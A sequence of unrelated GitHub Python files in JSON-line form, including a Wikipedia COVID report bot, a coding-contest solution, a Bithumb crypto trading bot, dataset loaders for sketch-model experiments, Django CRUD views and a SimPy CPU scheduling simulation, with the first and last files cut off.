print(dfd_test['event_pageTitle'])\n# print(get_latest_rev(row))\n\n latest = get_latest_rev(row)\n latest_revs.append(latest)\n scores.append(get_quality_score(latest))\n\n #Add the scores and revs into the dataframe\n lrs = pd.Series(latest_revs)\n ss = pd.Series(scores)\n\n df_pandemic.insert(loc=1, column = 'latest revision', value = lrs)\n df_pandemic.insert(loc=2, column = 'quality prediction', value = ss)\n\n #get recent pageviews\n views = []\n\n q_params = {'startdate' : date_parts['year'] + date_parts['month'] + date_parts['day'],\n 'enddate' : date_parts['year'] + date_parts['month'] + date_parts['day'],\n 'title' : '',\n } #do this outside the loop?\n\n for row in df_pandemic['page title']:\n # print(dfd_test['event_pageTitle'])\n # print(get_latest_rev(row))\n\n #update the params with the current article title\n q_params['title'] = row\n v = get_pageviews(q_params)\n views.append(v)\n\n vs = pd.Series(views)\n\n df_pandemic.insert(loc=3, column = 'views', value = vs)\n\n df_pandemic.fillna(0, inplace=True) #turn the NaNs into zeros\n\n df_pandemic['views'] = df_pandemic['views'].astype(int) #make values ints to remove the decimal\n\n df_pandemic.sort_values('views', ascending=False, inplace=True)\n\n rank = range(1, len(df_pandemic)+1)\n\n df_pandemic['rank'] = list(rank)\n\n rt_header = \"\"\"== COVID-19 article status on {year}-{month}-{day} ==\n\nTotal articles: {articles}\n\nTotal pageviews (all articles): {views}\n\nLast updated on ~~~~~\n\n{{| class=\"wikitable sortable\"\n!Pageview rank\n!Article\n!Page views\n!Predicted quality class\n\"\"\"\n\n\n footer = \"\"\"|}\n\n \n\n\n \"\"\"\n\n rt_row = \"\"\"|-\n |{view rank}\n |[[{title}|{title}]]\n |{views}\n |{prediction}\n \"\"\"\n\n report_rows = [format_row(x, y, z, a, rt_row)\n for x, y, z, a\n in zip(df_pandemic['rank'],\n df_pandemic['page title'],\n df_pandemic['views'],\n df_pandemic['quality prediction'],\n )]\n\n rows_wiki = ''.join(report_rows)\n\n total_views = get_total_pageviews(df_pandemic, 'views')\n\n total_articles = len(df_pandemic)\n\n date_parts.update(views = total_views) #add in total views for all articles\n\n date_parts.update(articles = total_articles) #add in total articles counted\n\n header = rt_header.format(**date_parts)\n\n output = header + rows_wiki + footer\n\n edit_token = get_token(auth1)\n\n edit_sum = \"COVID-19 article report for {year}-{month}-{day}\".format(**date_parts)\n\n publish_report(output, edit_sum, auth1, edit_token)\n\n","repo_name":"jtmorgan/hostbot","sub_path":"covid_report.py","file_name":"covid_report.py","file_ext":"py","file_size_in_byte":9642,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"71972478612","text":"# 경비원\nw, h = map(int, input().split()) # 가로, 세로\nn = int(input()) # 상점 개수\nshops = list(list(map(int, input().split())) for _ in range(n)) # 상점\nmy_direction, my_dist = map(int, input().split()) # 현재 위치\n\n# 위치 변환\ndef change_loc(direction):\n if direction == 2: # 남\n return 3\n elif direction == 3: # 서\n return 2\n else:\n return direction\n\n# 거리 변환 (오른쪽기준으로)\ndef change_dist(direction, dist):\n if direction == 4: # 동\n return h - dist\n elif direction == 1: # 북\n return w - dist\n else:\n return dist\n\n# 건너갈 때 가로, 세로 선택\ndef choose_len(direction):\n if direction == 1 or direction == 3:\n return w\n else:\n return h\n\nmy_direction = change_loc(my_direction)\nmy_dist = change_dist(my_direction, my_dist)\n\nfor i in range(len(shops)):\n shops[i][0] = change_loc(shops[i][0])\n shops[i][1] = change_dist(shops[i][0], shops[i][1])\n\n# 거리 계산\ntotal_dist = 0\nfor shop in shops:\n s_direction, s_dist = shop[0], shop[1]\n relate = s_direction - my_direction\n if relate == 1 or relate == -3: # 오른쪽 위\n total_dist += (choose_len(my_direction) - my_dist) + s_dist\n elif relate == -1 or relate == 3: # 왼쪽 위\n total_dist += my_dist + (choose_len(s_direction) - s_dist)\n elif relate == 0: # 같은편\n total_dist += abs(s_dist - my_dist)\n else: # 건너편\n cross = w if choose_len(my_direction) == h else h\n calc_left = my_dist + (choose_len(s_direction) - s_dist) + cross # 시계방향\n calc_right = choose_len(my_direction) - my_dist + s_dist + cross # 시계반대방향\n total_dist += min(calc_left, calc_right)\n \nprint(total_dist)","repo_name":"leecrossun/algorithm-python-2022","sub_path":"백준/Silver/2564. 경비원/경비원.py","file_name":"경비원.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"18258199075","text":"import pandas as pd\nimport torch\nimport torch.nn.functional as F\nimport numpy as np\ndf = pd.read_csv(r'C:\\Users\\25345\\Desktop\\final project\\clust\\C400.txt', names=['X','Y','Z','E','x','y','z','e'])\nAA = df['X']\nprint(type(AA)) # \na = np.array(AA)\nprint(type(a)) # \na = a.tolist()\nprint(type(a)) # \na=list(map(float,a))\na = torch.unsqueeze(torch.FloatTensor(a), dim=1)\nprint(type(a)) # \nprint(a.shape) # torch.Size([97, 1])\n\n\n","repo_name":"ShenDy20/CCimage","sub_path":"datagene/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40863221483","text":"from functions_file import Rate_of_ups_downs_by_Section\nfrom functions_file import Top3_Rank_Figure\nfrom functions_file import Clear_Rate_of_ups_downs as Clear\nfrom functions_file import Load_Sector_CoinList\n\nfrom market.pybithumb.client import Bithumb\nfrom market.pybithumb.core import *\nfrom functions_file import Load_Key\n\nfrom xcoin_api_client import *\nfrom pybithumb.core import *\n\nimport pandas as pd\nimport math\n\nclass AI_Explore_Coin :\n \n def __init__(self) :\n \n self.Sector_Name = []\n self.Figure_Per_1H = []\n self.Figure_Per_24H = []\n self.Figure_Per_7D = []\n self.Sector_URL = 'https://www.coingecko.com/ko/categories'\n \n def __del__(self) :\n \n print('Sector Ranking Found OK!')\n \n def Get_Rank(self) :\n \n Rate_of_ups_downs_by_Section(self.Sector_URL, self.Sector_Name, self.Figure_Per_1H, self.Figure_Per_24H, self.Figure_Per_7D)\n Ranking = Top3_Rank_Figure(self.Figure_Per_1H,self.Sector_Name)\n self.Ranking = Ranking\n print('Sector Found! ')\n print(Ranking)\n return Ranking\n \n # return; DataFrame\n def Compare_Bithumb_to_Sector(self) :\n df = pd.DataFrame()\n for sector in self.Ranking :\n result = Load_Sector_CoinList(sector)\n df = pd.concat([df,result])\n if (df.empty) :\n return \n return df\n \nclass AI_Trader :\n '''Super Class'''\n def __init__(self, order_currency, payment_currency) :\n self.order_currency = order_currency\n self.payment_currency = payment_currency\n self.con_key, self.sec_key = Load_Key()\n self.api = XCoinAPI(self.con_key, self.sec_key)\n self.private_api = PrivateApi(self.con_key, self.sec_key)\n \n def Current_Price(self) :\n \n result = PublicApi.ticker(self.order_currency, payment_currency=self.payment_currency)\n return float(result['data']['closing_price'])\n \n def Average_Price(self) :\n \n chart = Bithumb.get_candlestick(self.order_currency,payment_currency=self.payment_currency,chart_intervals='1m')\n aver_chart = chart.iloc[-5:]\n open_aver = aver_chart['open'].sum() / 5\n close_aver = aver_chart['close'].sum() / 5\n average = (open_aver + close_aver) / 2\n return average\n \n def Check_Account(self) :\n bithumb = Bithumb(self.con_key, self.sec_key)\n balance = bithumb.get_balance(self.order_currency)\n return balance\n\n def Can_Buy_Coin_Quantity(self, account) :\n buy_quantity = (account[2] - account[3]) / float(self.Current_Price())\n return buy_quantity\n \n def Can_Sell_Coin_Quntity(self, account) :\n sell_quantity = (account[0] - account[1]) / float(self.Current_Price())\n return sell_quantity\n \n\n\nclass AI_BitCoin_Bidder(AI_Trader) :\n \n def __init__(self, order_currency, payment_currency) :\n super(AI_BitCoin_Bidder,self).__init__(order_currency, payment_currency)\n \n # stick 거래량 평균과 현재 거래량을 비교\n # return : True , False\n def Compare_Volume_Average(self, stick) :\n chart = Bithumb.get_candlestick(self.order_currency, payment_currency=self.payment_currency,chart_intervals='1m')\n if(chart is None) :\n return False\n aver_chart = chart.iloc[(stick*-1)-1:-1]\n current_chart = chart.iloc[-1]\n sum = aver_chart['volume'].sum()\n average = sum / len(aver_chart.index)\n\n before_chart = chart.iloc[-2]\n\n if(before_chart['close'] - before_chart['open'] > 0) :\n if average * 5 < current_chart['volume'] :\n return True\n else :\n return False\n else :\n return False\n \n def Check_Order_Book(self) :\n order_book = Bithumb.get_orderbook(self.order_currency,payment_currency=self.payment_currency,limit=10)\n buys = order_book['bids']\n sells = order_book['asks']\n if self.Sum_Order_Book(buys) < self.Sum_Order_Book(sells) :\n return True\n return False\n \n def Sum_Order_Book(self, order_book) :\n sum = 0\n for order in order_book :\n sum += order['quantity']\n return sum\n \n # 현재 빗썸 API 오류로 buy_market_order 사용 시 \n # 잔고의 100% 거래가 불가능함. \n # 잔고의 70%로 주문할 수 있도록 제한한 것처럼 보임. \n def order_coin(self) :\n bithumb = Bithumb(self.con_key,self.sec_key)\n units = self.Can_Buy_Coin_Quantity(self.Check_Account())\n units = units * 0.7\n units = round(units,4)\n order = bithumb.buy_market_order(self.order_currency, units)\n return order\n\nclass AI_BitCoin_Seller(AI_Trader) :\n \n def __init(self, order_currency, payment_currency) :\n super(AI_BitCoin_Seller,self).__init(order_currency,payment_currency)\n \n \n def Capture_Large_Increasement(self) :\n current = self.Current_Price()\n before = self.Before_Price()\n percentage_of_value_change = (current - before) / before * 100\n percentage_of_value_change = round(percentage_of_value_change, 2)\n if percentage_of_value_change > 5 :\n return True\n else :\n return False\n \n \n def Before_Price(self) :\n chart = Bithumb.get_candlestick(self.order_currency, payment_currency=self.payment_currency,chart_intervals='1m')\n before_close = chart.iloc[-1]['close']\n return before_close\n \n def Is_Volume_Loss(self) :\n chart = Bithumb.get_candlestick(self.order_currency, payment_currency=self.payment_currency,chart_intervals='1m')\n before = chart.iloc[-2]['volume']\n current = chart.iloc[-1]['volume']\n if (current * 5 < before) :\n return True\n else :\n return False\n \n def Check_Condition(self) :\n if(self.Capture_Large_Increasement()) :\n return True\n if(self.Is_Volume_Loss()) :\n return True\n current = self.Current_Price()\n aver = self.Average_Price()\n if((current - aver) / current < -3) :\n return True \n return False\n \n def Sell_Coin(self) :\n bithumb = Bithumb(self.con_key, self.sec_key)\n units = bithumb.get_balance(self.order_currency)[0]\n order = bithumb.sell_market_order(order_currency=self.order_currency,payment_currency=self.payment_currency,unit=units)\n return order\n \n \n \n\n\n'''\n1원 미만 - 0.0001\n1~10 - 0.0001\n10~100 - 0.01\n100~1000 - 0.1\n1000~ 5000 - 1\n5000~10000 - 5\n10000~50000 - 10\n50000 ~ 100000 - 50\n100000 ~ 500000 - 100\n500000~1,000,000 - 500\n1,000,000 ~ - 1000 \n\n\n매수 조건\n조건0 : 최근 추세가 상승 혹은 보합 흐름\n조건1 : 10봉 거래량 평균 x 400% < 현재 1봉 거래량 (O)\n조건2 : 1봉 직전이 음봉이 아닐 것 (O)\n조건3 : 매도 호가가 매수 호가보다 많을 것 (O)\n매도 조건\n조건3 : 현재 봉 이후 1봉에 5% 이상 장대양봉 등장 시 하차 (O)\n조건4 : 구매시점의 1봉 이후 거래량이 크게 떨어지지 않을 것. (현재 거래량이 1봉 전 거래량의 50%라면 매도) (O), 호가창비교\n조건5 : 구매 이후 1봉의 현재가가 구매 직전 5봉의 평균 이상 이라면 유지, 이하일 경우 허용 한계(3%) 초과 시 매도 (O)\n'''\n\n \n \n ","repo_name":"ds-soup/trading_issue","sub_path":"transaction.py","file_name":"transaction.py","file_ext":"py","file_size_in_byte":7466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27744914477","text":"def greeting(name,age):\n # return f'Hello {name} how are you!'\n print(f'Hello {name} you age is {age}!')\n\ngreeting('vinod',\"22\")\n\n\ndef greeting(name, age=28, color = 'red'):\n #Greets user with 'name' from 'input box' and 'age' next year, if available, default age is used\n # also includes favorite color\n print('Hello ' + name.capitalize() + ', you will be ' + str(age+1) +' next birthday!')\n print(f'Hello {name.capitalize()}, you will be {age+1} next birthday!')\n print(f'We hear you like the color {color.lower()}!')\n\nname = input('Enter your name: ')\nage = input('Enter your age: ')\ncolor = input('Enter favorite color: ')\ngreeting(name, int(age), color)\n\ndef tax_calculation(amount):\n tax=amount*0.25\n amount=tax*1.05\n return amount\namount=tax_calculation(100)\nprint(\"The tax amount \",amount)","repo_name":"Vinodkumar-yerraballi/Flask","sub_path":"ConncetingPythonFlask/fuction.py","file_name":"fuction.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"73403980694","text":"import pathlib\nimport sys\nfrom abc import ABC, abstractmethod\n\nimport numpy as np\nimport torch\nfrom PIL import Image\nfrom skimage.filters import threshold_otsu\nfrom skimage.morphology import skeletonize\nfrom sklearn.model_selection import train_test_split\nfrom torch.utils.data import DataLoader, Dataset\nfrom torchvision import transforms\nfrom torchvision.datasets import MNIST, Omniglot, KMNIST\n\nfrom dsketch.datasets.quickdraw import QuickDrawDataGroupDataset, QuickDrawRasterisePIL\nfrom dsketch.experiments.shared.utils import list_class_names\n\n\n# sys.path.append(os.path.abspath('..'))\n# from QuickDraw_pytorch.DataUtils.load_data import QD_Dataset\n\n\ndef compose(tf, args):\n if 'additional_transforms' in args and args.additional_transforms is not None:\n return transforms.Compose([tf, args.additional_transforms])\n else:\n return tf\n\n\ndef skeleton(image):\n image = np.asarray(image)\n thresh = threshold_otsu(image)\n binary = image > thresh\n # out = binary_closing(skeletonize(binary))\n out = skeletonize(binary)\n return Image.fromarray(out)\n\n\ndef _split(args, trainset):\n vallen_per_class = args.valset_size_per_class\n targets = [trainset[i][1] for i in range(len(trainset))]\n numclasses = len(np.unique(targets))\n\n train_idx, valid_idx = train_test_split(np.arange(len(trainset)), test_size=vallen_per_class * numclasses,\n shuffle=True, stratify=targets, random_state=args.dataset_seed)\n\n train = torch.utils.data.Subset(trainset, train_idx)\n valid = torch.utils.data.Subset(trainset, valid_idx)\n\n return train, valid\n\n\nclass _Dataset(ABC):\n @classmethod\n def add_args(cls, p):\n cls._add_args(p)\n p.add_argument(\"--batch-size\", help=\"batch size\", type=int, default=48, required=False)\n p.add_argument(\"--num-workers\", help=\"number of dataloader workers\", type=int, default=4, required=False)\n\n @staticmethod\n @abstractmethod\n def _add_args(p):\n pass\n\n @classmethod\n @abstractmethod\n def get_size(cls, args):\n pass\n\n @classmethod\n def get_channels(cls, args):\n return 1\n\n @classmethod\n def inv_transform(cls, x):\n \"\"\"\n This needs to un-invert image tensors so they are in 0..1 ready for saving\n Args:\n x: the input tensor\n\n Returns:\n\n \"\"\"\n return x\n\n @classmethod\n @abstractmethod\n def create(cls, args):\n pass\n\n\nclass MNISTDataset(_Dataset):\n @staticmethod\n def _add_args(p):\n p.add_argument(\"--dataset-root\", help=\"location of the dataset\", type=pathlib.Path,\n default=pathlib.Path(\"./data/\"), required=False)\n p.add_argument(\"--valset-size-per-class\", help=\"number of examples to use in validation set per class\",\n type=int, default=10, required=False)\n p.add_argument(\"--dataset-seed\", help=\"random seed for the train/validation split\", type=int,\n default=1234, required=False)\n p.add_argument(\"--skeleton\", help=\"Convert each image to its morphological skeleton with a 1px wide stroke\",\n default=False, required=False, action='store_true')\n\n @classmethod\n def get_transforms(cls, args, train=False):\n if args.skeleton:\n return compose(transforms.Compose([skeleton, transforms.ToTensor()]), args)\n return compose(transforms.ToTensor(), args)\n\n @classmethod\n def get_size(cls, args):\n return 28\n\n @classmethod\n def create(cls, args):\n trainset = MNIST(args.dataset_root, train=True, transform=cls.get_transforms(args, True), download=True)\n testset = MNIST(args.dataset_root, train=False, transform=cls.get_transforms(args, False), download=True)\n\n train, valid = _split(args, trainset)\n\n return train, valid, testset\n\n @classmethod\n def inv_transform(cls, x):\n return x\n\n\nclass ScaledMNISTDataset(MNISTDataset):\n @classmethod\n def get_transforms(cls, args, train=False):\n # MNIST preprocess following StrokeNet code\n mnist_resize = 120\n brightness = 0.6\n tf = [\n transforms.Resize(mnist_resize),\n transforms.Pad(int((256 - mnist_resize) / 2)),\n transforms.ToTensor(),\n lambda x: x * brightness\n ]\n\n if args.skeleton:\n tf.insert(2, skeleton)\n\n return compose(transforms.Compose(transforms=tf), args)\n\n @classmethod\n def get_size(cls, args):\n return 256\n\n\nclass OmniglotDataset(_Dataset):\n\n @staticmethod\n def _add_args(p):\n p.add_argument(\"--dataset-root\", help=\"location of the dataset\", type=pathlib.Path,\n default=pathlib.Path(\"./data/\"), required=False)\n p.add_argument(\"--valset-size-per-class\", help=\"number of examples to use in validation set per class\",\n type=int, default=2, required=False)\n p.add_argument(\"--dataset-seed\", help=\"random seed for the train/validation split\", type=int,\n default=1234, required=False)\n p.add_argument(\"--augment\", help=\"add augmentation\", default=False, required=False, action='store_true')\n p.add_argument(\"--skeleton\", help=\"Convert each image to its morphological skeleton with a 1px wide stroke\",\n default=False, required=False, action='store_true')\n\n @classmethod\n def get_size(cls, args):\n return 105\n\n @classmethod\n def get_transforms(cls, args, train=False):\n tf = [transforms.ToTensor(), transforms.Lambda(lambda x: 1 - x)]\n if train is True and args.augment is True:\n tf.insert(0,\n transforms.RandomAffine(3.0, translate=(0.07, 0.07), scale=(0.99, 1.01), shear=1, fillcolor=255))\n\n if args.skeleton:\n tf.insert(0, skeleton)\n\n return compose(transforms.Compose(tf), args)\n\n @classmethod\n def inv_transform(cls, x):\n return 1 - x\n\n @classmethod\n def create(cls, args):\n trainset = Omniglot(args.dataset_root, background=True, transform=cls.get_transforms(args, True), download=True)\n testset = Omniglot(args.dataset_root, background=False, transform=cls.get_transforms(args, False),\n download=True)\n\n train, valid = _split(args, trainset)\n\n return train, valid, testset\n \n\n\ndef _centre_pil_image(pil):\n img = np.array(pil)\n cx = np.expand_dims(np.arange(pil.height), axis=0) - (pil.height // 2)\n cy = np.expand_dims(np.arange(pil.width), axis=1) - (pil.width // 2)\n\n area = img.sum()\n y_mean = (cy * img).sum() // area\n x_mean = (cx * img).sum() // area\n\n return pil.transform(pil.size, Image.AFFINE, (1, 0, -x_mean, 0, 1, -y_mean), fillcolor=255)\n\n\nclass C28pxOmniglotDataset(OmniglotDataset):\n @classmethod\n def get_size(cls, args):\n return 28\n\n @classmethod\n def get_transforms(cls, args, train=False):\n tf = [_centre_pil_image, transforms.Resize((28, 28)), transforms.ToTensor(), transforms.Lambda(lambda x: 1 - x)]\n\n if train is True and args.augment is True:\n tf.insert(2,\n transforms.RandomAffine(3.0, translate=(0.07, 0.07), scale=(0.99, 1.01), shear=1, fillcolor=255))\n\n if args.skeleton:\n tf.insert(2, skeleton)\n\n return compose(transforms.Compose(tf), args)\n\n\n# class QuickDrawDataset(_Dataset):\n#\n# @staticmethod\n# def _add_args(p):\n# p.add_argument(\"--dataset-root\", help=\"location of the dataset\", type=pathlib.Path,\n# default=pathlib.Path(\"./data/\"), required=False)\n# p.add_argument(\"--valset-size-per-class\", help=\"number of examples to use in validation set per class\",\n# type=int, default=2, required=False)\n# p.add_argument(\"--dataset-seed\", help=\"random seed for the train/validation split\", type=int,\n# default=1234, required=False)\n# p.add_argument(\"--augment\", help=\"add augmentation\", default=False, required=False, action='store_true')\n# p.add_argument(\"--skeleton\", help=\"Convert each image to its morphological skeleton with a 1px wide stroke\",\n# default=False, required=False, action='store_true')\n#\n# @classmethod\n# def get_size(cls, args):\n# return 28\n#\n# @classmethod\n# def get_transforms(cls, args, train=False):\n# tf = [transforms.Lambda(lambda x: x.view(28, 28))]\n# # if train is True and args.augment is True:\n# # tf.insert(0,\n# # transforms.RandomAffine(3.0, translate=(0.07, 0.07), scale=(0.99, 1.01), shear=1, fillcolor=255))\n#\n# # if args.skeleton:\n# # tf.insert(0, skeleton)\n#\n# return compose(transforms.Compose(tf), args)\n#\n# @classmethod\n# def inv_transform(cls, x):\n# return 1 - x\n#\n# @classmethod\n# def create(cls, args):\n#\n# trainset = QD_Dataset(mtype=\"train\", root='/home/adm1g15/QuickDraw_pytorch/Dataset', transform=cls.get_transforms(args, True))\n# testset = QD_Dataset(mtype=\"test\", root='/home/adm1g15/QuickDraw_pytorch/Dataset', transform=cls.get_transforms(args, False))\n#\n#\n# train, valid = _split(args, trainset)\n#\n# return train, valid, testset\n\n\nclass Jon_QuickDrawDataset(_Dataset):\n\n @staticmethod\n def _add_args(p):\n p.add_argument(\"--dataset-root\", help=\"location of the dataset\", type=pathlib.Path,\n default=pathlib.Path(\"./data/\"), required=False)\n p.add_argument(\"--valset-size-per-class\", help=\"number of examples to use in validation set per class\",\n type=int, default=2, required=False)\n p.add_argument(\"--dataset-seed\", help=\"random seed for the train/validation split\", type=int,\n default=1234, required=False)\n p.add_argument(\"--augment\", help=\"add augmentation\", default=False, required=False, action='store_true')\n p.add_argument(\"--skeleton\", help=\"Convert each image to its morphological skeleton with a 1px wide stroke\",\n default=False, required=False, action='store_true')\n p.add_argument(\"--size\", help=\"target image size\", required=False, type=int, default=256)\n p.add_argument(\"--stroke-width\", help=\"initial stroke width before resize\", default=16, required=False,\n type=int)\n p.add_argument(\"--group\", help=\"qd group name\", default=\"yoga\", required=False, type=str)\n\n @classmethod\n def get_size(cls, args):\n return args.size\n\n @classmethod\n def inv_transform(cls, x):\n return 1 - x\n\n @classmethod\n def get_transforms(cls, args, train=False):\n ras = QuickDrawRasterisePIL(True, args.stroke_width)\n tf = [ras, transforms.Resize((args.size, args.size)), transforms.ToTensor()]\n # transforms.Lambda(lambda x: 1 - x)]\n\n if train is True and args.augment is True:\n tf.insert(2,\n transforms.RandomAffine(3.0, translate=(0.07, 0.07), scale=(0.99, 1.01), shear=1, fillcolor=255))\n\n if args.skeleton:\n tf.insert(2, skeleton)\n\n return compose(transforms.Compose(tf), args)\n\n @classmethod\n def create(cls, args):\n ds = QuickDrawDataGroupDataset(args.group, max_drawings=70000)\n trainset, testset = torch.utils.data.random_split(ds, [50000, 20000])\n testset, valset = torch.utils.data.random_split(testset, [10000, 10000])\n\n class WD(Dataset):\n def __init__(self, data, train=False):\n self.tf = cls.get_transforms(args, train)\n self.data = data\n\n def __getitem__(self, index):\n return self.tf(self.data[index]), 0 # 0 as label indicator\n\n def __len__(self):\n return len(self.data)\n\n return WD(trainset, True), WD(valset, False), WD(testset, False)\n\n\n \n#the Kuzushiji-MNIST Dataset\nclass KMNISTDataset(_Dataset):\n @staticmethod\n def _add_args(p):\n p.add_argument(\"--dataset-root\", help=\"location of the dataset\", type=pathlib.Path,\n default=pathlib.Path(\"./data/\"), required=False)\n p.add_argument(\"--valset-size-per-class\", help=\"number of examples to use in validation set per class\",\n type=int, default=10, required=False)\n p.add_argument(\"--dataset-seed\", help=\"random seed for the train/validation split\", type=int,\n default=1234, required=False)\n p.add_argument(\"--skeleton\", help=\"Convert each image to its morphological skeleton with a 1px wide stroke\",\n default=False, required=False, action='store_true')\n\n @classmethod\n def get_transforms(cls, args, train=False):\n if args.skeleton:\n return compose(transforms.Compose([skeleton, transforms.ToTensor()]), args)\n return compose(transforms.ToTensor(), args)\n\n @classmethod\n def get_size(cls, args):\n return 28\n \n @classmethod\n def inv_transform(cls, x):\n return x \n\n @classmethod\n def create(cls, args):\n trainset = KMNIST(args.dataset_root, train=True, transform=cls.get_transforms(args, True), download=True)\n testset = KMNIST(args.dataset_root, train=False, transform=cls.get_transforms(args, False), download=True)\n\n train, valid = _split(args, trainset)\n\n return train, valid, testset\n\n \n \n \ndef get_dataset(name):\n ds = getattr(sys.modules[__name__], name + 'Dataset')\n if not issubclass(ds, _Dataset):\n raise TypeError()\n return ds\n\n\ndef build_dataloaders(args):\n ds = get_dataset(args.dataset)\n args.size = ds.get_size(args)\n\n train, valid, test = ds.create(args)\n\n trainloader = DataLoader(train, batch_size=args.batch_size, num_workers=args.num_workers, shuffle=True)\n valloader = DataLoader(valid, batch_size=args.batch_size, num_workers=args.num_workers, shuffle=False)\n testloader = DataLoader(test, batch_size=args.batch_size, num_workers=args.num_workers, shuffle=False)\n\n return trainloader, valloader, testloader\n\n\ndef dataset_choices():\n return [i.replace('Dataset', '') for i in list_class_names(_Dataset, __name__)]\n","repo_name":"yumaloop/DifferentiableSketching","sub_path":"dsketch/experiments/shared/args_datasets.py","file_name":"args_datasets.py","file_ext":"py","file_size_in_byte":14306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14594887282","text":"from django.shortcuts import redirect, render\nfrom .models import Post, Comment\nfrom scribble.forms import PostForm, CommentForm\n\n# Create your views here.\n#list \ndef post_list(request): \n posts = Post.objects.all()\n # comments = Comment.objects.all()\n print(posts)\n return render(\n request, 'scribble/post_list.html',\n {'posts': posts},\n # {'comment':comments}\n )\n\ndef comment_list(request): \n comments = Comment.objects.all()\n # comments = Comment.objects.all()\n print(comments)\n return render(\n request, 'scribble/comment_list.html',\n {'comments': comments},\n # {'comment':comments}\n )\n\n#detail \ndef post_detail(request, pk):\n post = Post.objects.get(id=pk)\n print(post)\n return render(request, 'scribble/post_detail.html', {'post':post})\n\n\ndef comment_detail(request, pk):\n comment = Comment.objects.get(id=pk)\n print(comment)\n return render(request, 'scribble/comment_detail.html', {'comment':comment})\n\n\n#create \ndef post_create(request):\n if request.method == 'POST':\n form = PostForm(request.POST)\n if form.is_valid():\n post = form.save()\n return redirect('post_detail', pk=post.pk)\n\n else:\n form = PostForm()\n return render(request, 'scribble/post_form.html', {'form': form})\n\n\ndef comment_create(request):\n if request.method == 'POST':\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = form.save()\n return redirect('comment_detail', pk=comment.pk)\n #check this one!!!!\n else:\n form = CommentForm()\n return render(request, 'scribble/comment_form.html', {'form': form})\n\n\n#edit \ndef post_edit(request, pk):\n post = Post.objects.get(pk=pk)\n if request.method == \"POST\":\n form = PostForm(request.POST, instance=post)\n if form.is_valid():\n post = form.save()\n return redirect('post_detail', pk=post.pk)\n\n else:\n form = PostForm(instance=post)\n return render(request, 'scribble/post_form.html', {'form': form})\n\ndef comment_edit(request, pk):\n comment = Comment.objects.get(pk=pk)\n if request.method == \"POST\":\n form = CommentForm(request.POST, instance=comment)\n if form.is_valid():\n comment = form.save()\n return redirect('comment_detail', pk=comment.pk)\n\n else:\n form = CommentForm(instance=comment)\n return render(request, 'scribble/comment_form.html', {'form': form})\n\n\n# scribble/views.py\n# delete \n\ndef post_delete(request, pk):\n Post.objects.get(id=pk).delete()\n return redirect('post_list')\n\n\n\n# scribble/views.py\ndef comment_delete(request, pk):\n Comment.objects.get(id=pk).delete()\n return redirect('comment_list')","repo_name":"dsteele66/Scribble-","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39970953790","text":"#Algoritmos y Estructuras de Datos\r\n#Yong Bum Park 20117\r\n#Maria Isabel solano 20504\r\nimport simpy\r\nimport random\r\n\r\n#configuración\r\nrandom.seed(15)\r\nCantidad_RAM = 100\r\nMemoria_Para_Proceso = random.randint(1,10)\r\nlimites_proceso = [1,10]\r\nTiempo_Memoria = random.expovariate(1.0/10)\r\nTiempo_entre_procesos = [1,10]\r\nCapacidad_CPU = 3\r\n\r\n#para cambiar\r\nCant_Procesos = 25\r\n\r\ndef proceso(nombre, env, espacio_CPU, capacidad_proceso, tiempo_proceso):\r\n global totalTime\r\n lim_proceso = random.randint(*limites_proceso)\r\n print ('%s admitido al sitema operativo a las %.1f' % (nombre, env.now))\r\n with espacio_CPU.request() as req:\r\n inicio = env.now #inicio con el tiempo\r\n yield req #pedir un espacio\r\n \r\n Memoria_a_usar = Cantidad_RAM - lim_proceso #memoria que el proceso requiere\r\n yield capacidad_proceso.get(Memoria_a_usar) #pedir la memoria a usar\r\n \r\n yield env.timeout(tiempo_proceso) #tiempo que se tarda\r\n \r\n #impresión de lo que está pasando\r\n tiempo_tardado_por_proceso = env.now - inicio\r\n print('%s termina de correr en %.1f segundo.' % (nombre, tiempo_tardado_por_proceso))\r\n totalTime =+ tiempo_tardado_por_proceso\r\n time.append (env.now - inicio)\r\n \r\ndef CPU_control (env, capacidad_proceso):\r\n while True:\r\n if capacidad_proceso.level < 100:\r\n print ('Desocupando espacio a las %d' % env.now)\r\n yield env.process(Recuparar_memoria(env,capacidad_proceso))\r\n yield env.timeout(10)\r\n \r\ndef Recuparar_memoria(env, capacidad_proceso):\r\n yield env.timeout(10)\r\n print('memoria recuperada a %d' % env.now)\r\n cant = capacidad_proceso.capacity - capacidad_proceso.level\r\n yield capacidad_proceso.put(cant)\r\n \r\n\r\n#def\r\n \r\ndef Generador_procesos(env, espacio_CPU, capacidad_proceso, tiempo_proceso):\r\n #se encarga de generar los procesos que se requieren hacer\r\n for i in range(Cant_Procesos): #cantidad de procesos\r\n yield env.timeout(random.randint(*Tiempo_entre_procesos))\r\n env.process(proceso('Proceso %d' % i, env, espacio_CPU, capacidad_proceso, tiempo_proceso))\r\n\r\nprint ('Procesos')\r\n\r\n#iniciar procesos y crear el ambiente\r\nenv = simpy.Environment()\r\nespacio_CPU = simpy.Resource(env, capacity=Capacidad_CPU)\r\ncapacidad_proceso = simpy.Container(env, init=Cantidad_RAM, capacity = Cantidad_RAM)\r\nenv.process(CPU_control(env, capacidad_proceso))\r\nenv.process(Generador_procesos(env, espacio_CPU, capacidad_proceso, Tiempo_Memoria))\r\ntotalTime=0\r\ntime=[]\r\n\r\n#correr\r\nenv.run(10000)\r\n\r\n#promedio de atencion por procesoro. \r\nprint(\"Tiempo total: %s\" %totalTime)\r\npromedio = totalTime/Cant_Procesos\r\nprint(\"Su promedio es de: %s\" %promedio)\r\n\r\n\r\nsuma = 0\r\nfor i in time:\r\n suma += (i - promedio)**2\r\n 